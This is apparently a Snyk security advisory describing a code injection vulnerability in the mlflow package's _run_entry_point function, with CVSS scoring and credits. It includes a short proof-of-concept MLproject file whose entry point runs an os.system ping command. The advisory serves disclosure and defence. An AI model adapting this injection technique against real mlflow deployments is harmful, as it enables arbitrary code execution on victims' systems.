Improper Control of Generation of Code ('Code Injection') Affecting mlflow package, versions [1.11.0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

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  • Snyk ID SNYK-PYTHON-MLFLOW-7210332
  • published 5 Jun 2024
  • disclosed 4 Jun 2024
  • credit Kieran Evans, Kasmir Schulz

How to fix?

There is no fixed version for mlflow.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') via the _run_entry_point function in the projects/backend/local.py file. An attacker can execute arbitrary code on the victim's system by submitting a maliciously crafted MLproject file.

PoC

name: RecipeTestingProject

conda_env: conda.yaml

entry_points:
 main:
      command: "python -c 'import os; os.system(\"ping -c 4 8.8.8.8\")'"

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High